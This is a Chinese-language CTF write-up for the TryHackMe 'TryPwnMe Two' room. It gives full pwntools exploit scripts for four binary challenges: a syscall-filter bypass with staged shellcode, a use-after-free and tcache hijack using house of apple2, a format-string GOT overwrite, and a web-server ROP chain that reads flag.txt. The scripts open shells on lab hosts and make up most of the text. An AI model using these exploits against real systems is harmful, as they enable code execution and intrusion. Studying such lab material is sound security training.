TryHackMe: TryPwnMe Two
TryExecMe2
限制了直接进行系统调用,即syscall
sysenter
int 0x80
,但是这样的限制是十分好绕过的,我们只需要通过异或生成syscall构造read再次写入shellcode即可
构造read
shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")
完整exp
from pwn import *
from pwncli import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
gdb.attach(p)
context(os='linux',arch='amd64',log_level='debug')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# elf=ELF('./pwn')
# p = process('./pwn')
# gdb.attach(p,'b *$rebase(0x1485)')
p = remote("10.10.131.135",5002)
shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")
s(shellcode)
pause()
payload = b"\x90"*0x25+asm(shellcraft.sh())
s(payload)
inter()
TryaNote
存在uaf,可以泄露libc和堆地址,劫持tcache_struct来进行任意地址写,2.35的libc,移除了我们在之前版本利用的各种hook,本题给了一个win,它可以去执行我们指定位置的一次调用,但是因为种种原因,我并没有成功,最后用了house of apple2
泄露libc和堆地址
add(0x420,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x300,b"a")
delete(0)
show(0)
libc_base = get_addr() - 2202848
li(libc_base)
delete(1)
show(1)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = heap_base << 12
li(heap_base)
因为并没有限制我们申请的堆块大小,我们就申请一个大于0x400大小的堆块,这样可以在free后直接进入unsortedbin中,此时该堆块fd位置就会被写上libc地址,show即可得到,再free一下1号堆块,这样它会被放入tcache中,show即可获取堆地址,注意要左移12位,具体参考tcache在2.35的变化,自行搜索
劫持tcache_struct
delete(2)
_IO_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base + libc.sym['setcontext']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
fake_io = heap_base+0x7e0
fff = IO_FILE_plus_struct()
payload = fff.house_of_apple2_execmd_when_exit(fake_io, libc_base+libc.sym["_IO_wfile_jumps"], libc_base+libc.sym["system"])
edit(2,p64(((heap_base+0x7e0)>>12)^heap_base))
add(0x100,p64(0))
add(0x100,p64(0)+p64(0x290)+b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))
接下来再次释放2号堆块,这样tcache中0x110处就会出现链表,我们修改2号的fd指向tcache_struct即可达到任意地址写的目的,关于为什么要写b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))
,请参考tcache_struct的结构体,总之,在我们下次申请0x90大小的堆块时,我们会申请到_IO_list_all
house_of_apple2
add(0x90,p64(heap_base+0x7e0))
edit(2,payload)
debug()
sla(b'>>', b'0')
我们将_IO_list_all写入我们伪造好的fake_file的堆地址,这样我们可以就可以执行system(“/bin/sh”),利用这个方法有前提是可以正常退出或者exit退出来刷新IO流,具体参考 house of apple
完整exp
from pwn import *
from pwncli import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
gdb.attach(p)
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
def add(size,content):
sla(b'>>', b'1')
sla(b'size:\n', str(size).encode())
sa(b'data:\n', content)
def delete(index):
sla(b'>>', b'4')
sla(b'index:\n', str(index).encode())
def edit(index, content):
sla(b'>>', b'3')
sla(b'index:\n', str(index).encode())
sa(b'data:\n', content)
def show(index):
sla(b'>>', b'2')
sla(b'index:\n', str(index).encode())
def win(idx,content):
sla(b'>>', b'5')
sla(b'index:\n', str(idx).encode())
sla(b'data:\n', content)
add(0x420,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x100,b"a")
add(0x300,b"a")
delete(0)
show(0)
libc_base = get_addr() - 2202848
li(libc_base)
delete(1)
show(1)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = heap_base << 12
li(heap_base)
delete(2)
_IO_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base + libc.sym['setcontext']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
fake_io = heap_base+0x7e0
fff = IO_FILE_plus_struct()
payload = fff.house_of_apple2_execmd_when_exit(fake_io, libc_base+libc.sym["_IO_wfile_jumps"], libc_base+libc.sym["system"])
edit(2,p64(((heap_base+0x7e0)>>12)^heap_base))
add(0x100,p64(0))
add(0x100,p64(0)+p64(0x290)+b"\x07\x00"*0x58+b"\x00\x00"*8+p64(_IO_list_all)+p64(heap_base+0x7e0))
add(0x90,p64(heap_base+0x7e0))
edit(2,payload)
debug()
sla(b'>>', b'0')
inter()
NotSpecified2
格式化字符串漏洞,got表可以写,因此修改exit的got表为_start进行无限格式化字符串,泄露libc利用one_gadget进行getshell
劫持exit的got表
payload = fmtstr_payload(6,{0x404038:0x4010D0})
sl(payload)
泄露libc
payload = b"%73$p"
sl(payload)
rl(b"Thanks ")
libc_base = int(p.recv(14), 16) - 171408
ogg = libc_base + 0xebcf5
完整exp
from pwn import *
from pwncli import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
gdb.attach(p)
context(os='linux',arch='amd64',log_level='debug')
# libc = ELF('./libc.so.6')
# elf=ELF('./pwn')
# p = process('./pwn')
# gdb.attach(p,'b *0x4012FD')
p = remote("10.10.187.89",5000)
rl(b"username:")
payload = fmtstr_payload(6,{0x404038:0x4010D0})
sl(payload)
rl(b"username:")
payload = b"%73$p"
sl(payload)
rl(b"Thanks ")
libc_base = int(p.recv(14), 16) - 171408
ogg = libc_base + 0xebcf5
payload = fmtstr_payload(6,{0x404038:ogg})
rl(b"username:")
sl(payload)
inter()
SlowServer
一个简单的web pwn,漏洞点位于DEBUG和POST,DEBUG存在格式化字符串,而POST则存在栈溢出
注意:远程与本地的栈可能会存在差异,需要自己尝试及猜测,使用ubuntu22.04时发现与远程十分相似,建议使用ubuntu22.04调试
泄露基地址和栈地址
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %3$p"
p.send(debug)
base = int(p.recv(14), 16)- 8320
print(hex(base))
pause()
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %28$p"
p.send(debug)
stack = int(p.recv(14), 16) + 0x100
print(hex(stack))
ORW读flag
post = (b"POST /submit HTTP/1.1"+p64(0)+p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(5)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["read"])+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["write"])+p64(0)*(720//8)+b"flag.txt\x00")
p = remote("192.168.138.129", 5555)
p.send(post)
调试可以发现,在我们想调用open的时候rdi本身就会指向一个栈地址,因此我们可以通过调试确认偏移,将flag.txt写到该处,之后就是read读flag,write写即可
注意:read的rdi值需要为5,open后观察rax值即可,write的rdi值需要为4,4是本机与服务器建立的socket管道,这样才会发送到本地的攻击机,如果是1,代表标准输出,攻击机无法看到
完整exp
from pwn import *
# # 定义 GET 请求
# get = b"GET /submit HTTP/1.1\r\nHost: 192.168.138.129\r\n\r\n"+b"a"*0x300
elf=ELF('./slowserver')
# 连接到远程服务器
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %3$p"
p.send(debug)
base = int(p.recv(14), 16)- 8320
print(hex(base))
pause()
p = remote("192.168.138.129", 5555)
debug = b"DEBUG %28$p"
p.send(debug)
stack = int(p.recv(14), 16) + 0x100
print(hex(stack))
bss = base+elf.bss()+0x251
stack = bss #可以往栈上写,也可以往bss段上写,此处选择bss,删除亦可
pop_rdi = base+0x1816
pop_rsi = base+0x1811
free_got = base+0x3F18
pop_rdx_r12 = base + 0x180d
syscall_ret = base + 0x1813
pop_rax = base+0x180b
pop_rsp = base+0x180f
leave_ret = base+0x154c
push_rbp = base+0x1807
bss = base+elf.bss()+0x200
read_got = base+elf.got["read"]
pop_rbp = base+0x1413
write = base + elf.plt["write"]
# 定义 POST 请求
post = (b"POST /submit HTTP/1.1"+p64(0)+p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(5)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["read"])+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x50)+p64(20)+p64(base+elf.plt["write"])+p64(0)*(720//8)+b"flag.txt\x00")
p = remote("192.168.138.129", 5555)
p.send(post)
p.interactive()